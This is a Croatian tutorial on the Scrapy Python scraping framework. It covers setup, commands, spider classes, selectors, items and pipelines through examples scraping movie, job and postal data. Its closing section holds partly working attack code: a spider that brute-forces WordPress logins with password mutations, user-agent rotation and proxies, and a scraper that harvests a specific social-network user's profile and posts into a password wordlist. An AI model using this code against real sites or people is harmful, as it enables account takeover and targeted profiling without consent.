Scrapy python framework
Matej Bašić
Scrapy je open-source aplikacijski razvojni okvir za vađenje i strukturiranje podataka iz web stranica te indeksiranje istih. Pisan je u Python programskom jeziku a podržava Linux, Windows, Mac i BSD operativne sustave. Primjena je široka, od rudarenja podacima do različitih vrsta testiranja i procesuiranja informacija.
Sadržaj |
Uvodni primjer
Za demonstraciju jedan spider koji će prikupiti sve bolje naslove SF filmova od 2010. do danas. Za primjer ćemo koristiti tražilicu web stranice koja sadrži bogatu bazu a kako bi osigurali da se radi o kvalitetnijim filmovima, ograničiti ćemo donju granicu korisničkih ocjena na 8.0:
.../search/title?count=100&genres=sci_fi&release_date=2010,2015&title_type=tv_movie&user_rating=8.0,10
Nakon instalacije Scrapy frameworka, spremni smo napraviti novi projekt sljedećim pozivom:
$ scrapy startproject sf_movies_simple
S novim projektom automatski se kreiraju potrebni direktoriji i datoteke. Klasu kojom definiramo spider za naše potrebe sačuvati ćemo u datoteci imdb_sf_spiders.py
u sf_movies_simple
direktoriju:
import scrapy class MovieSfSpider(scrapy.Spider): name="movie_sf" allowed_domains=["site.com"] start_urls=["http://www.site.com/search/title?count=100&genres=sci_fi&release_date=2010,2015&title_type=tv_movie&user_rating=8.0,10"] def parse(self, response): for el in response.xpath("//table[@class='results']//td[@class='title']"): title = str(el.xpath("a/text()").extract().pop()) year = str(el.xpath("span[@class='year_type']/text()").re("\d+").pop()) rating = str(el.xpath("div[@class='user_rating']/div/span[@class='rating-rating']/span[@class='value']/text()").extract().pop()) print title, "(", year, ", ", rating, ")"
Novokreirani spider sadrži atribut name
jedinstvene vrijednosti koji koristimo prilikom pokretanja, allowed_domains
, listu domena na kojima spider može prikupljati podatke, i start_urls
, listu početnih URL-ova. Također definiramo parse()
metodu u kojoj obrađujemo Response objekt za svaki definirani URL u start_urls
. Ako pogledamo izvor obrađivane stranice možemo zamijetiti da se rezultati pretraživanja nalaze u tablici klase 'results'
i da se sve bitne informacije nalaze u ćelijama klase 'title'
. Iz svake od njih preuzeti ćemo naslov, godinu i korisničku ocjenu. Svaki poziv xpath()
vraća SelectorList instancu na temelju proslijeđenog upita dok extract()
vraća listu unicode stringova koju pohranjujemo u varijablu. Kod godine koristimo metodu re()
. Naime, unutar span
elementa klase 'year_type'
nalazi se godina i tip (npr. “(2013 TV Movie)“) stoga pomoću te metode koja za upit prima regularni izraz (eng. regular expression) filtriramo godinu. Također vraća listu unicode stringova.
Kreirani spider pokrećemo naredbom scrapy crawl spider_name
:
$ scrapy crawl movie_sf
Te u terminalu dobivamo sljedeći rezultat:
... [imdb_sf] DEBUG: Crawled (200) <GET http://www.site.com/search/title?count=100&genres=sci_fi&release_date=2010,2015 &title_type=tv_movie&user_rating=8.0,10> (referer: None) The Selection ( 2013 , 8.5 ) Robot Chicken: Star Wars Episode III ( 2010 , 8.1 ) Vastra Investigates ( 2012 , 8.1 ) The Sixth Gun ( 2013 , 8.2 ) D-TEC: Pilot ( 2013 , 8.7 ) Ghosts/Aliens ( 2010 , 8.7 ) The Rusty Bucket Kids: Lincoln, Journey to 16 ( 2010 , 8.9 ) Advent ( 2011 , 8.2 ) Araneum ( 2010 , 8.5 ) Quest for the Indie Tube ( 2011 , 8.0 ) Before: Zombie Etiquette ( 2011 , 9.1 ) 3% ( 2011 , 8.1 ) Bezci ( 2014 , 8.2 ) [imdb_sf] INFO: Closing spider (finished) ...
Ako želimo rezultate pohraniti, moramo prvo kreirati Item klasu u items.py
datoteci koja se automatski kreira prilikom postavljanja projekta a nalazi se u korijenskom direktoriju projekta. Unutar te klase definiramo atribute kao scrapy.Field
objekte:
import scrapy class SfMovieItem(scrapy.Item): title = scrapy.Field() year = scrapy.Field() rating = scrapy.Field()
Kako bi svaki rezultat pohranili kao SfMovieItem
, moramo ažurirati i imdb_sf_spider.py
:
import scrapy from sf_movies_simple.items import SfMovieItem class MovieSfSpider(scrapy.Spider): name="movie_sf" allowed_domains=["site.com"] start_urls=["http://www.site.com/search/title?count=100&genres=sci_fi&release_date=2010,2015&title_type=tv_movie&user_rating=8.0,10"] def parse(self, response): for el in response.xpath("//table[@class='results']//td[@class='title']"): item = SfMovieItem() item['title'] = el.xpath("a/text()").extract() item['year'] = el.xpath("span[@class='year_type']/text()").re("\d+") item['rating'] = el.xpath("div[@class='user_rating']/div/span[@class='rating-rating']/span[@class='value']/text()").extract() yield item
Kako bi opet pokrenuli spider i sačuvali rezultate u npr. movies.json
datoteci pozivamo sljedeću naredbu:
$ scrapy crawl movie_sf -o movies.json
Sada iste rezultate imamo pohranjene u datoteci movies.json
u korijenskom direktoriju projekta.
Detaljnije o razvojnom okviru u sljedećim poglavljima.
Instalacija
Preduvjeti za instalaciju Scrapy Python razvojnog okvira (v0.24.0) su sljedeći:
- Python v2.7
- lxml
- OpenSSL
- pip i setuptools Python paketi
Nakon zadovoljavanja preduvjeta, Scrapy instaliramo sljedećim pozivom:
$ pip install Scrapy
Ukoliko koristimo Windows OS, potreban nam je i pywin32 (Python for Windows Extensions).
Osnove
Sa Scrapy razvojnim okvirom uglavnom upravljamo preko alata naredbene linije (eng. command-line tool) naredbom scrapy
. Naredba se sastoji od nekoliko opcija a neke od njih možemo koristiti i izvan projekta. Popis raspoloživih opcija možemo vidjeti pozivom naredbe scrapy
:
$ scrapy Scrapy 0.24.4 - project: sf_movies_simple Usage: scrapy <command> [options] [args] Available commands: bench Run quick benchmark test check Check spider contracts crawl Run a spider deploy Deploy project in Scrapyd target edit Edit spider fetch Fetch a URL using the Scrapy downloader genspider Generate new spider using pre-defined templates list List available spiders parse Parse URL (using its spider) and print the results runspider Run a self-contained spider (without creating a project) settings Get settings values shell Interactive scraping console startproject Create new project version Print Scrapy version view Open URL in browser, as seen by Scrapy
Kreiranje novog projekta
U uvodnom primjeru već smo pokazali korištenje opcije startproject
kojom kreiramo novi projekt i sve pripadajuće datoteke i direktorije:
$ scrapy startproject project_name
Struktura projekta
scrapy.cfg – konfiguracijska datoteka projekta project_name/ - python modul projekta __init__.py items.py – datoteka u kojoj definiramo Item objekte pipelines.py - datoteka u kojoj definiramo Pipeline objekte settings.py – postavke porokejta spiders/ - direktorij u kojem pohranjujemo spidere __init__.py spider_name.py – datoteka u kojoj definiramo spider
Kreiranje novog spidera
Osim što novi spider možemo kreirati "ručno", kreiranjem nove datoteke u spiders
direktoriju, također ih možemo kreirati pozivom scrapy genspider
naredbe:
scrapy genspider [-t template] <name> <domain>
Scrapy podržava više vrsta spidera te za svaki od njih postoji predložak. Podržane vrste možemo doznati sljedećim pozivom:
$ scrapy genspider -l Available templates: basic crawl csvfeed xmlfeed
Primjer kreiranja osnovnog spidera:
$ scrapy genspider –t basic basic_spider google.hr
Kreirane spidere možemo ažurirati naredbom scrapy edit spider_name
.
Pokretanje spidera
Već smo u uvodnom primjeru pokazali naredbu crawl
koja se može koristiti samo unutar projekta:
$ scrapy crawl spider_name
Spider možemo pokrenuti i izvan projekta:
$ scrapy runspider spider_name.py
Ispis raspoloživih spidera
Naredbom scrapy list
ispisujemo sve raspoložive spidera unutar projekta.
Dohvaćanje URL-a
Sljedećom naredbom dohvaćamo definirani URL i ispisujemo HTML sadržaj istog:
$ scrapy fetch http://www.google.hr
Naime HTML koji Scrapy skida ne mora biti isti kao i onaj kojeg možemo vidjeti u web pregledniku jer često sami preglednici dodaju određene HTML elemente i Scrapy također ne izvršava JavaScript kod. Ako naredbu koristimo unutar projekta možemo definirati i koji spider da koristimo:
$ scrapy fetch –spider=spider_name http://www.google.hr
Testiranje
Ukoliko želimo testirani određeni URL bez pokretanja spidera, to možemo učinit pomoću interaktivne ljuske:
$ scrapy shell http://www.google.hr
Ljuska je zapravo regularna Python konzola s par mogućnosti koje nam pomažu u radu sa Scrapyem. Pozivanjem shelp()
metode ispisujemo te dodatne metode i objekte:
In [1]: shelp() [s] Available Scrapy objects: [s] crawler <scrapy.crawler.Crawler object at 0x7fcf4bb5a290> [s] item {} [s] request <GET http://www.google.hr> [s] response <200 http://www.google.hr> [s] settings <scrapy.settings.Settings object at 0x7fcf511c7450> [s] spider <Spider 'default' at 0x7fcf4fab8590> [s] Useful shortcuts: [s] shelp() Shell help (print this help) [s] fetch(req_or_url) Fetch request (or URL) and update local objects [s] view(response) View response in a browser
Iz prethodnog ispisa možemo vidjeti da se u ljusci automatski kreiraju Request i Response objekti na koje možemo testirati npr. XPath upite:
In [6]: response.xpath("//a[@id='gb_70']").extract() Out[6]: [u'<a target="_top" id="gb_70" href="https://accounts.google.com/ServiceLogin?hl=hr&continue=http://www.google.hr/" class="gb4">Prijavite se</a>']
Ili ispisati HTTP header polja:
In [13]: request.headers Out[13]: {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Encoding': 'gzip,deflate', 'Accept-Language': 'en', 'User-Agent': 'Scrapy/0.24.4 (+http://scrapy.org)'}
Za izlaz iz ljuske koristi se Ctrl+D prečac. XPath upite također možemo testirati i pomoću Firefox preglednika odnosno njegovog Firebug dodatka.
Spiders
U Scrapy razvojnom okviru spideri su klase koje definiraju kako će se određena stranica odnosno stranice obrađivati. Skidanje, obrada i pohranjivanje stranica obično slijede slijedeće korake:
- Generiranje inicijalnih Request objekata za definirane URL-ove u start_urls atributu
- U callback metodi (obično
parse
) obrađuje se dobiveni Response objekt i vraća Item, novi Request ili oboje - Vraćeni Item objekti pohranjuju se u datoteku ili bazu podataka
Argumenti
Spider također može primiti i argumente putem scrapy crawl
naredbe:
scrapy crawl spider_name –a arg_name=arg_value
U primjeru iz uvoda uvesti ćemo četiri nova argumenta:
$ scrapy crawl movie_sf -o movies.json -a r_date_start=2008 -a r_date_end=2012 -a u_rating_min=6.0 -a u_rating_max=9.5
A da bi to radilo trebamo ažurirati i spider:
... class MovieSfSpider(scrapy.Spider): name="movie_sf" allowed_domains=["site.com"] def __init__(self, r_date_start = 2010, r_date_end = 2015, u_rating_min = 8.0, u_rating_max = 10, *args, **kwargs): super(MovieSfSpider, self).__init__(*args, **kwargs) self.start_urls=["http://www.site.com/search/title?count=100&genres=sci_fi&release_date=%s,%s&title_type=tv_movie&user_rating=%s,%s"
% (r_date_start, r_date_end, u_rating_min, u_rating_max)]
def parse(self, response): ...
Podklase
Spomenuli smo da Scrapy podržava više podvrsta spidera. Njihov cilj je pružiti određene funkcionalnosti za specifične slučajeve kao obradu XML-a, Sitemapa i slično.
Spider
Najjednostavnija i osnovna verzija spidera koju nasljeđuju sve ostale. Ne sadrži posebne funkcionalnosti, a većina atributa i metoda spomenuta je i prije.
Atributi:
-
name
: string, obavezno; jedinstveno ime spidera, koristi se za lociranje i instanciranje -
allowed_domains
: string list, opcionalno; sadrži listu domena koju spider može obrađivati -
start_urls
: string list, opcionalno; lista početnih URL-ova
Metode:
-
start_requests()
: poziva se kada nisu definirani URL-ovi ustart_urls
atributu. U suprotnome poziva semake_requests_from_url()
metoda. Vraća listu Request objekata. -
make_requests_from_url(url)
: Služi za konvertiranje URL-ova u Request objekt. Kao argument prima URL(string) te vraća Request objekt -
parse(response)
: služi za obradu preuzetog Response objekta. Vraća Request objekte i/ili Item objekte -
log(msg [, level, component])
: ispis poruke -
closed(reason)
: poziva se prije zatvaranja spidera
Primjer
U ovom primjeru koristimo Scrapy za ispis kolegija sa sustava za e-učenje Moodle. U primjeru je korištena spomenuta start_requests()
metoda koja vraća Request objekt (isto bi dobili korištenje atributa start_urls
, metoda je ovdje čisto zbog demonstracije). parse()
metoda vraća posebnu vrstu Request objekta, FormRequest, s korisničkim imenom i lozinkom te u metodi after_login()
obrađuje se početna stranica sustava e-učenja ako je prijava uspješna.
import scrapy from scrapy import log class MoodleNewsSpider(scrapy.Spider): name = "moodle_news" def start_requests(self): return [scrapy.Request(url='https://login.moodle.hr/login/index.php')] def parse(self, response): self.log("Loggin in...", level=log.INFO) return scrapy.FormRequest.from_response( response, formdata={ 'username' : 'user' , 'password' : 'pass' }, callback=self.after_login ) def after_login(self, response): #print response.body if "Moja naslovnica" in response.body: self.log("Login successful", level=log.INFO) for sel in response.xpath("//div[@class='course_list']/div[@class='box coursebox']"): print sel.css("h2").xpath("child::a//text()").extract() return else: self.log("Login failed", level=log.ERROR) return
Crawl Spider
Često korišten za obradu regularnih web stranica jer pruža mehanizme za praćenje poveznica na temelju definiranih pravila. Osim atributa i metoda koje nasljeđuje od Spider klase, sadrži sljedeće:
Atributi:
-
rules
: listaRule
objekata. SvakiRule
objekt definira određenu proceduru za obradu stranice.
Metode:
-
parse_start_url(response)
: poziva se za sve definirane URL-ove ustart_urls
atributu. Vraća Item, Request ili oboje
Primjer
U ovom primjeru prikupljaju se svi poslovi IT kategorije (category=11) s portala moj-posao.net. U atributu rules
definirali smo pravilo da pratimo samo poveznice koje sadrže '/Posao/'. S tih stranica vadi se naziv posla, pozicija, lokacija te spomenuti jezici odnosno tehnolgije i poslodavac, ako postoje.
import scrapy from scrapy.contrib.linkextractors import LinkExtractor from scrapy.contrib.spiders import CrawlSpider, Rule import json from mojposao.items import MojposaoItem class ItPosloviSpider(CrawlSpider): name = 'it_poslovi' allowed_domains = ['moj-posao.net'] file = "stranice.json" comp_data = " " rules = [Rule(LinkExtractor(allow='/Posao/'), callback="parse_item")] def __init__(self, *args, **kwargs): # pohrana liste jezika u comp_data # pohrana proslijedjenih linkova u start_urls atributu def add_lang(self, job, lang): lang = lang.strip() if lang != "": if bool(job['langs']) == False: job['langs'] = lang else: job['langs'] += ", " + lang def parse_item(self, response): print "parse_item" job = MojposaoItem() temp = response.xpath("//section[@id='page-title']/h1/span/text()").extract().pop().encode('utf-8').rsplit(" - ", 1) job['title'] = temp[0].strip() job['location'] = temp[1].strip() job['langs'] = "" employerTemp = response.xpath("//div[@id='employer']/ul/li/strong/text()").extract() if (employerTemp): job['employer'] = employerTemp.pop().encode('utf-8') body = response.xpath("//section[@id='job-detail']/descendant::*/text()").extract() job_txt = "" for el in body: job_txt += el job_txt = job_txt.upper().replace(",", " ").replace(".", " ").replace(";", " ") for item in self.comp_data: if item['t'] in job_txt: self.add_lang(job, item['t']) elif "alt" in item and item['alt'] in job_txt: self.add_lang(job, item['t']) yield job
Prikazani spider poziva se iz drugog spidera koji dohvaća sve URL-ove stranica na kojima se nalaze oglasi.
import scrapy from scrapy.exceptions import CloseSpider from scrapy.xlib.pydispatch import dispatcher from scrapy import signals from scrapy.settings import Settings from mojposao.spiders.it_poslovi import ItPosloviSpider from mojposao.items import UrlItem class ItStraniceSpider(scrapy.Spider): name = 'it_stranice' allowed_domains = ['moj-posao.net'] start_urls = ['http://www.moj-posao.net/Pretraga-Poslova/?category=11'] def __init__(self, *args, **kwargs): super(ItStraniceSpider, self).__init__(*args, **kwargs) dispatcher.connect(self.spider_closed, signals.spider_closed) def parse(self, response): ... def spider_closed(self, spider): crawler = Crawler(Settings()) crawler.configure() crawler.crawl(ItPosloviSpider()) crawler.start()
Rezultat:
<items> ... <item> <langs></langs> <employer>AZTEK, d.o.o. za projektiranje, savjetovanje i usluge</employer> <location>Zagreb</location> <title>Projektant telekomunikacijskih sustava, elektroinstalacija i tehničke zaštite (m/ž)</title> </item> <item> <langs>JAVASCRIPT, JAVA, HTML, CSS, PLSQL, SQL</langs> <employer>DEKOD d.o.o.</employer> <location>Koprivnica, Zagreb</location> <title>Programer / projektant (m/ž)</title> </item> <item> <langs>C#, JAVASCRIPT, PHP, ASP, HTML, CSS, PYTHON, RUBY</langs> <employer>STATIM d.o.o. za računalne djelatnosti i usluge</employer> <location>Split</location> <title>Web developer (m/ž)</title> </item> ... </items>
XMLFeed Spider
Dizajniran za obradu XML datoteka iterirajući kroz njih na temelju određenog imena čvora odnosno elementa. Za to možemo koristiti jedan od tri iteratora: iternodes
, xml
i html
. Prepruča se prvi jer ostala dva generiraju cijeli DOM prije obrade, ali u slučaju grešaka u XML datoteci, preporuča se html
.
Atributi:
-
iterator
: string; definira koji se iterator koristi.iternodes
je najbrži, bazira se na regularnim izrazima, dokhtml
ixml
koriste Selectore i prije obrade generiraju cijeli DOM što može biti sporo za veće datoteke -
itertag
: string; ime glavnog čvora po kojem iteriramo -
namespace
: list(prefix, url); definiranamespace
raspoloživ u dokumentu koji će se koristiti u spideru
Metode:
-
adapt_response(response)
: koristi se za modifikaciju Response objekta prije samog parsiranja. Vraća također Response objekt. -
parse_node(response, selector)
: poziva se za svaki čvor iste oznake definirane uitertag
atributu. Svaki XMLFeedSpider mora definirati ovu metodu. Vraća Item, Request ili oboje. -
process_results(response, results)
: kao argument prima listu rezultata (Item ili Request objekti) a koristi se za završno procesuiranje. Vraća listu rezultata(Item ili Request)
Primjer
U ovom primjeru dohvaćamo nazive gradova sa stranice posta.hr na kojoj se nalaze popisi svih poštanskih ureda u XML datoteci.
from scrapy.contrib.spiders import XMLFeedSpider from gradovi.items import GradoviItem class PostaGradoviSpider(XMLFeedSpider): name = 'posta_gradovi' allowed_domains = ['posta.hr'] start_urls = ['http://www.posta.hr/mjestaRh.aspx?vrsta=xml'] iterator = 'iternodes' itertag = 'mjesto' def parse_node(self, response, selector): i = GradoviItem() i['ime'] = selector.select('nazivPu').xpath('text()').extract().pop() return i
Kako bi ignorirali duplikate u datoteci pipelines.py
(automatski se kreira s projektom) definiramo novi Item Pipeline pod nazivom GradoviPipeline
:
from scrapy.exceptions import DropItem class GradoviPipeline(object): def __init__(self): self.locations_seen = set() def process_item(self, item, spider): if item['ime'] in self.locations_seen: raise DropItem("Duplicate location found: %s" % item['ime']) else: self.locations_seen.add(item['ime']) return item
CSVFeedSpider
Sličan XMLFeedSpideru, samo što iterira kroz redove, a ne čvorove.
Atributi:
-
delimiter
: string; definira separator (default = ','
) -
headers
: lista naziva polja CSV datoteteke
Metode:
-
parse_row(response, row)
: Kao argument prima Response objekt idict
koji prezentira redak. -
adapt_response(response)
-
process_results(response, results)
SitemapSpider
Koristi se za obradu stranica otkrivanjem URL-ova koristeći mapu Web mjesta. Podržava ugniježđene mape i otkrivanje URL-ova mape iz robots.txt datoteke.
Atributi:
-
sitemaps_urls
: lista URL-ova mapa Web mjesta -
sitemap_rules
: lista[(regex, callback), …]
;regex
je regularni izraz korišten kako bi izdvojili određene URL-ove iz mape Web mjesta, acallback
funkcija se poziva kako bi se isti obradili -
sitemap_follow
: lista regularnih izraza koji definiraju URL-ove koje želimo pratiti -
sitemap_alternate_links
: definira želimo li pratiti alternative linkove istog sadržaja. Obično su to linkovi na drugom jeziku.
Selectors
Nativni mehanizam za izvlačenje podataka, kreiran na temelju lxml biblioteke.
$ scrapy shell http://www.en.wikipedia.org/wiki/Scrapy ... 2015-01-17 04:57:11-0500 [default] DEBUG: Crawled (200) <GET http://en.wikipedia.org/wiki/Scrapy> (referer: None) ... In [1]: response.selector.xpath("//div[@id='bodyContent']") Out[1]: [<Selector xpath="//div[@id='bodyContent']" data=u'<div id="bodyContent" class="mw-body-con'>]
Metode koje smo već u prethodnim primjerima demonstrirali, xpath()
, css()
, re()
i execute()
, dio su Selector klase. Da ponovimo, xpath()
vraća SelectorList instancu na temelju proslijeđenog upita dok css()
vraća isto na temelju CSS upita. Pomoću re()
metode koja za upit prima regularni izraz (eng. regular expression) filtriramo listu. extract()
vraća listu unicode stringova.
Iako se preporuča, ne moramo koristiti selector prečac:
In [2]: response.xpath("//div[@id='bodyContent']") Out[2]: [<Selector xpath="//div[@id='bodyContent']" data=u'<div id="bodyContent" class="mw-body-con'>] In [3]: response.xpath("//div[@id='bodyContent']").extract() Out[3]: [u'<!--- HTML CONTENT --->']
SelectorList
Podklasa list
klase. Elementi liste su Selector objekti. Također sadrži xpath()
, css()
, re()
, extract()
metode koje se pozivaju za svaki element liste. Metode vraćaju SelectorList odnosno u slučaju re()
i extract()
metode, listu unicode stringova.
Items
Glavni cilj Scrapy Python razvojnog okvira je keriranje strukturiranih podatak za što koristimo Item klasu u items.py
datoteci koja se automatski kreira prilikom postavljanja projekta. Unutar te klase definiramo atribute kao Field
objekte koji su zapravo ništa drugo nego Python dictionary
.
Za demonstraciju koristi ćemo Item definira u uvodnom primjeru:
import scrapy class SfMovieItem(scrapy.Item): title = scrapy.Field() year = scrapy.Field() rating = scrapy.Field()
$ scrapy shell ... In [1]: from sf_movies_cat.items import SfMovieItem In [2]: item = SfMovieItem(title='Naslov', year='2020') In [3]: print item {'title': 'Naslov', 'year': '2020'} In [4]: item['title'] Out[4]: 'Naslov' In [5]: item.get('title') Out[5]: 'Naslov' In [6]: item.items() Out[6]: [('year', '2020'), ('title', 'Naslov')] In [7]: item.fields Out[7]: {'rating': {}, 'title': {}, 'year': {}} In [8]: item['rating'] = 8.9 In [9]: item.items() Out[9]: [('rating', 8.9), ('year', '2020'), ('title', 'Naslov')]
Item Pipeline
Svaki Item
proslijeđuje se Item Pipeline dijelu Scrapy razvojnog okvira, nakon obrade od strane spidera.
Item Pipeline predstavljen je klasom koja implementira nekoliko metoda: process_item()
- poziva se za svaki proslijeđeni item, open_spider()
i close_spider()
, metode koje se pozivaju prilikom pokretanja i kraja rada spidera.
Item Pipeline se koristi uglavnom za čićenje HTML-a, validaciju podataka te provjeru duplikata kao što je prikazano u primjeru.
Ostalo
Dictionary attack
Scrapy možemo koristi za razne stvari, pored vađenja podataka, indeksiranja, možemo ga iskoristi i za dictionary attack. Slijedeći primjer pokazuje kako iskoristiti Scrapy za napad na stranicu koja koristi WordPress CMS:
class WpAtckSpider(scrapy.Spider): name = "wp_atck" download_delay = 2 # atribut Spider klase, definira razmak između poziva u sekundama user = "" curr_pwd = "" pwd_perms = [] it = None dict = [] def __init__(self, file=None, *args, **kwargs): super(IskraSpider, self).__init__(*args, **kwargs) #citanje i pohrana potencijalnih lozinki u dict def form_req(self): return [FormRequest(url='http://site.com/wp-login.php', formdata={"log":self.user, "pwd":self.curr_pwd }, method="POST", dont_filter=True, callback=self.parse)] def start_requests(self): return self.form_req() def set_pwd_perms(self, new_pwd): # zamijene znakova, dodavanje sufiksa, prefiksa (brojevi, posebni znakovi) # vraća listu lozinki kreiranih na temelju new_pwd def parse(self, response): if "/wp-admin/profile.php" in response.url: log.msg("WIN: %s" %(self.curr_pwd), level = log.INFO) else: if len(self.pwd_perms) == 0: self.pwd_perms = set_pwd_perms(self.it.next()) self.curr_pwd = self.pwd_perms.pop() log.msg("Failed with %s" %(self.curr_pwd), level = log.INFO) return self.form_req()
Također smo u mogućnosti mijenjati vrijednosti polja HTTP zaglavlja kao što je npr. User Agent ali i koristit proxy što je za ovaj primjer prikladno. U korijenskom direktoriju kreiramo novu datoteku middleware.py
:
class RandomUAMiddleware(object): def process_request(self, request, spider): ua = random.choice(settings.get('USER_AGENT_LIST')) if ua: request.headers.setdefault('User-Agent', ua) class ProxyMiddleware(object): def process_request(self, request, spider): request.meta['proxy'] = 'http://proxy_prv.com:PORT' proxy_up = 'USER:PASS' encoded_up = base64.encodestring(proxy_up) request.headers['Proxy-Authorization'] = 'Basic ' + encoded_up
Kreirane klase moramo prijaviti Scrapy razvojnom okviru u settings.py
datoteci te kreirati listu iz kojeg se dohvaćaju User Agent stringovi u klasi RandomUAMiddleware
:
USER_AGENT_LIST = [ 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7', 'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko/16.0 Firefox/16.0', ... ] DOWNLOADER_MIDDLEWARES = { 'wp_dic_atck.middlewares.RandomUAMiddleware': 400, 'wp_dic_atck.middlewares.ProxyMiddleware': 500, 'scrapy.contrib.downloadermiddleware.httpproxy.HttpProxyMiddleware': 600, 'scrapy.contrib.downloadermiddleware.useragent.UserAgentMiddleware': None, }
Dictionary scraper
Sljedeći primjer kreira listu često korištenih riječi od strane definiranog korisnika jedne društvene mreže. Spider prolazi kroz profil korisnika te vadi bitne podatke. Kreirana lista može se koristiti u prethodnom primjeru (79% web korisnika uključuje osobne podatke u lozinkama) uz listu najkorištenijih riječi u lozinkama.
class DictSpiderSpider(scrapy.Spider): name = "dict_spider" site = 'https://site.com' start_urls = [site + '/login.php'] email = "" password = "" # kao i email, koristi se ako se zelimo prijaviti kao korisnik mreze user="" # naziv korisnika cije podatke vadimo filename = "dict.txt" min_occur = 2 # minimalni br potrebnog pojavljivanja da bi rijec ukljucili u listu min_length = 4 # minimalno duzina rijeci koje zelimo dict = [] curr_post_id = 3 def spider_closed(self, spider): # poziva se prilikom zavrsetka rada spidera # filtira dict po min_occur atributu te ga ispisuje u txt datoteku def parse(self, response): if len(self.email) > 0 and len(self.password) > 0: return [scrapy.FormRequest.from_response(response, formname="login_form", formdata={'email':self.email, 'pass':self.password}, callback=self.after_login)] elif len(self.user) > 0: return [scrapy.Request(url= self.site + '/' + self.user + '?v=info', callback=self.get_basic_data)] # vadi osnovne podatke o korisniku # na kraju vraca request s callback funkcijom # za skeniranje fotografija(opisa) te postova def get_basic_data(self, response): ns = response.xpath("//div[@id='root']/div/div[1]//strong/text()").extract() ... nn = response.xpath("//div[@id='root']/div/div[@id='nicknames']//table//td[2]//text()").extract() self.extract_common(ns) ... self.extract_common(nn) bio = response.xpath("//div[@id='root']/div/div[@id='bio']/div/div[2]/div/text()").extract() qs = response.xpath("//div[@id='root']/div/div[@id='quote']/div/div[2]/div/text()").extract() self.extract_keywords(self.sel_to_str(bio)) self.extract_keywords(self.sel_to_str(qs)) yield scrapy.Request(url= self.site + '/' + self.user + '?v=photos', callback=self.set_pics_crawl) yield scrapy.Request(url= self.site + '/' + self.user + '?v=timeline', callback=self.set_posts_crawl) def extract_common(self, sel): # iterira kroz proslijeđeni selector objekt # rastavlja rijeci, filtrira i proslijedjuje ih word_to_dict(word, True) metodi # koristi Alchemy API za vadjenje kljucnih rijeci iz vece kolicine teksta # u slucaju da to nije moguce, jednostavno rastavlja tekst na rijeci def extract_keywords(self, text): alchemyapi = AlchemyAPI() response = alchemyapi.keywords("text", text) if response["status"] == "OK" and "keywords" in response: for keyword in response["keywords"]: txt = keyword["text"].encode("utf-8").split(" ") for i in txt: self.word_to_dict(i) else: text = text.encode("utf-8").split(" ") for t in text: self.word_to_dict(t) # u slucaju da rijec (npr. ime, prezime, imena clanova obitelji,...) # ima max prioritet dodajemo joj najvecu vrijednost pojavljivanja # te time osiguravamo da nece biti ignorirana pri upisu u txt datoteku def word_to_dict(self, word, max_prior = False): word = self.filter(word) if len(word) > self.min_length or max_prior == True: word_found = False for row in self.dict: if row[0] == word: word_found = True if row[1] != sys.maxint: row[1] += 1 break if word_found == False: if max_prior == False: self.dict.append([word, 1]) else: self.dict.append([word, sys.maxint])
Metode za obradu albuma korisnika:
def set_pics_crawl(self, response): link_all_albums = response.xpath("//h3[contains(text(),'Albums')]/following-sibling::div[2]/a/@href").extract() if len(link_all_albums) > 0: #u slucaju da postoji vise od 6 albuma link = link_all_albums.pop() yield scrapy.Request(url= self.site + link, callback=self.get_album_pages) else: albums_links = response.xpath("//h3[contains(text(),'Albums')]/following-sibling::div[1]//a/@href").extract() for link in albums_links: yield scrapy.Request(url= self.site + link, callback=self.get_album_pics) # poziva se u slucaju da postoje liste albuma def get_album_pages(self, response): # izvlaci linkove albuma # iterira kroz stranice s linkovima albuma def get_album_pics(self, response): pic_links = response.xpath("//div[@id='root']/table//div[@id='thumbnail_area']//a/@href").extract() # iz stranice albuma vadi linkove fotografija for link in pic_links: yield scrapy.Request(url= self.site + link, callback=self.get_pic_data) #vadi podatke iz opisa te ih obradjuje # ako je album veci od x fotografija poziva drugi dio albuma more_link = response.xpath("//div[@id='root']//div[@id='m_more_item']/a/@href").extract() if len(more_link) > 0: link = more_link.pop() yield scrapy.Request(url= self.site + link, callback=self.get_album_pics)
Metode za obradu postova korisnika:
def set_posts_crawl(self, response): if "?v=timeline" in response.url: next_y_link = response.xpath("//div[@id='structured_composer_async_container']/div[" + str(self.curr_post_id) + "]/a/@href").extract().pop().encode("utf-8") yield scrapy.Request(url= self.site + next_y_link, callback=self.posts_iterator) def posts_iterator(self, response): post_links = response.xpath("//div[@id='structured_composer_async_container']/div[1]/div[2]/div/div//a[contains(text(), 'Full Story')]/@href").extract() for link in post_links: if "photo.php" not in link: #to smo vec obradili yield scrapy.Request(url= self.site + link, callback=self.get_post_data) #metoda za obradu postova next_data = response.xpath("//div[@id='structured_composer_async_container']/div[2]/a") next_txt = next_data.xpath("text()").extract().pop().encode("utf-8") next_link = next_data.xpath("@href").extract().pop().encode("utf-8") if next_txt == "Show more": yield scrapy.Request(url= self.site + next_link, callback=self.posts_iterator) elif next_txt != "Born": self.curr_post_id += 1 next_y_link = response.xpath("//div[@id='structured_composer_async_container']/div[" + str(self.curr_post_id) + "]/a/@href").extract().pop().encode("utf-8") yield scrapy.Request(url= self.site + next_y_link, callback=self.posts_iterator)
Literatura
Scrapy Documentation, release 0.24.0. Dostupno na: https://media.readthedocs.org/pdf/scrapy/0.24/scrapy.pdf, 23.01.2015.